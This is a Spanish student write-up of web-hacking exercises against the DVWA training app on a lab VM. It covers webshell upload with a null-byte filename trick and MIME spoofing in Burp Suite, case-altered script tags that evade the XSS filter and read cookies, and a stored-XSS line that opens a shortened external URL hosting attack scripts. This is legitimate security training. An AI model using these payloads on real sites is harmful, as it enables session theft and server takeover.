En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de

ejercicios de web hacking alojados en una máquina virtual. En concreto se intentará completar
el conjunto de ejercicios de Damn Vulnerable Web Apps (DVWA) que podremos encontrar en
http://192.168.1.146/dvwa
Estos ejercicios pretenden ser una guía práctica de posibles vulnerabilidades a encontrar en el
mundo real, la aplicación web tiene un área de configuración en la que podremos establecer el
nivel de seguridad. Para llevar a cabo la mayor parte de estos ejercicios se establecerá el nivel
de seguridad en “medio” o nivel 2 de 3. En aquellos casos en los que el nivel de seguridad se
haya bajado a “Low” se indicará pertinentemente.

Upload

En este apartado se pretende explotar la falta de criterio y laxa securización de los ficheros a
subir al servidor. Haremos la prueba en dos niveles de seguridad diferentes ya que el nivel de
seguridad “Low” es demasiado fácil al no realizar ningún tipo de comprobación. Probaremos a
subir archivos con extensión .php que en realidad, son webshells que nos ayudarán a tomar
control del servidor web al completo. Desde estas interfaces podremos subir archivos,
modificar registros en la base de datos,… son altamente efectivas y funcionales y se pueden
encontrar en la web sin mucha dificultad.

Durante la realización de este trabajo se han puesto a prueba diferentes webshells como c99,
b374k, 529, r57, wsoshell,…
 Nivel de seguridad: Low
En este caso el servidor no comprueba el tipo de archive subido, ni la extensión o el tamaño
del mismo, de manera que podemos subir una Shell php directamente.
 Nivel de seguridad: Medium

En esta ocasión, deberemos saber si el servidor comprueba que el fichero subido sea una
imagen y cómo lo hace, si comprueba la extensión y sólo valida aquellas que terminen en
.jpeg, .png, .jpg o si comprueba los metadatos del archivo donde hará una comprobación del
tipo MIME del fichero a subir. Así que intentaremos saltar esta primera restricción forzando el
carácter nulo en el servidor %00 antes de la extensión final confiando en que al cargar el
fichero el servidor omita aquellos caracteres posteriores al carácter nulo.

Shell.php%00.php.%00php.png

Por esta vía no hemos conseguido subir el archivo, parece ser que no sólo comprueba la
extensión del fichero, así que probaremos otro método. Nos volveremos a valer de Burp Suite.

Durante la conversación veremos que los requisitos para enviar un archivo al servidor es que el
contenido sea de tipo jpeg y que su tamaño no exceda los 10000 bytes.
Interceptaremos la conversación subiendo nuestro archivo php y modificaremos el tipo de
contenido en sus metadatos antes de ser enviado al servidor.
Finalmente vemos que el fichero ha sido subido satisfactoriamente.

Para realizar esta prueba se ha realizado la subida de diferentes shells, de diferentes tamaños.
El tamaño máximo de la subida se envía como parámetro y se puede alterar, de manera que
cualquiera de ellas será efectiva.
XSS Reflected

En este apartado, la página DVWA nos invita a explotar la vulnerabilidad XSS reflejada en un
cuadro de texto donde podremos introducir código. Se pone a prueba la robustez del filtro
anti-XSS. Para ello se introducen caracteres que permitan la ejecución de código en el
intérprete.
Observando el código de la página se observa que se reemplaza la cadena “<script>” por un
carácter en blanco, “ ” así que se prueba a introducir otra cadena, alterando mayúsculas y
minúsculas.

En lugar de un nombre insertamos la cadena <sCriPt>alert(document.cookie);</ScRiPt>

Así confirmamos la vulnerabilidad a XSS de la página web y obtenemos la información de la

cookie para esta sesión.

XSS Stored

La diferencia entre el XSS reflejado y el almacenado es que, en el segundo caso, el código

malicioso se queda almacenado en la página web, de manera que afectará a todos aquellos
usuarios que entren en la URL infectada.

Esto se da gracias a que en este caso, nuestro código javascript estará almacenado en uno de
los mensajes del foro y será ejecutado para todos los usuarios que entren en la página.
Tras varias pruebas obtenemos un ataque satisfactorio:
</div><div id="guestbook_comments">Name: blackCat
<br />Message: <script>alert('xss!');</script>
<br /></div><div id="guestbook_comments">Name: <sCript> <br />
Message: alert('XSS!');</sCriPt> <br />
</div><div id="guestbook_comments">Name: xss <br />
Message: <sCRiPt>alert('XSS!');</sCriPt> <br />
</div><div id="guestbook_comments">Name: blackCat <br />
Message: alert(&amp;apos;xss!&amp;apos;); <br />
</div>
<br />

En este caso, el filtro aplicado en el campo del comentario falla de igual manera y la
introducción del texto: <sCriPt>alert(‘XSS!’);</sCriPt> nos ofrece un mensaje pop-up con el
texto “XSS!”
Si bien, para llevar a cabo un ataque más profundo en este caso tenemos complicaciones ya
que el número de caracteres a introducir en el campo del comentario está restringido y no
permite la inclusión de comandos más avanzados.

Por ello se intenta incluir código a ejecutar de manera remota.

Primero probamos si seremos capaces de introducir un elemento externo. En este caso

cargaremos una imagen que procede de un sitio web externo, su dirección es:
https://1.bp.blogspot.com/_lTY0Lp9h6Qc/SQuCiFT7tOI/AAAAAAAAGlE/RUaG3YkWgXk/s320/j
oedesnucabfaloslg0.jpg

Como vemos, aunque el tamaño máximo del texto es una limitación, si hacemos uso de los
acortadores online como tinyurl o tiny.cc podremos cargar nuestros archivos externos.

Podemos encodear una Shell en una url pequeña y cargarla en un comentario haciendo uso de
las etiquetas:

<script>window.open(“https://tinyurl.com/ybo2lkcd”)</script>

Donde podremos tener almacenados, por ejemplo, nuestros scripts maliciosos contra la web a
atacar, como en el caso del ataque CSRF donde cambiamos la contraseña del usuario loggeado
a una que nosotros deseamos sin que el usuario sea consciente.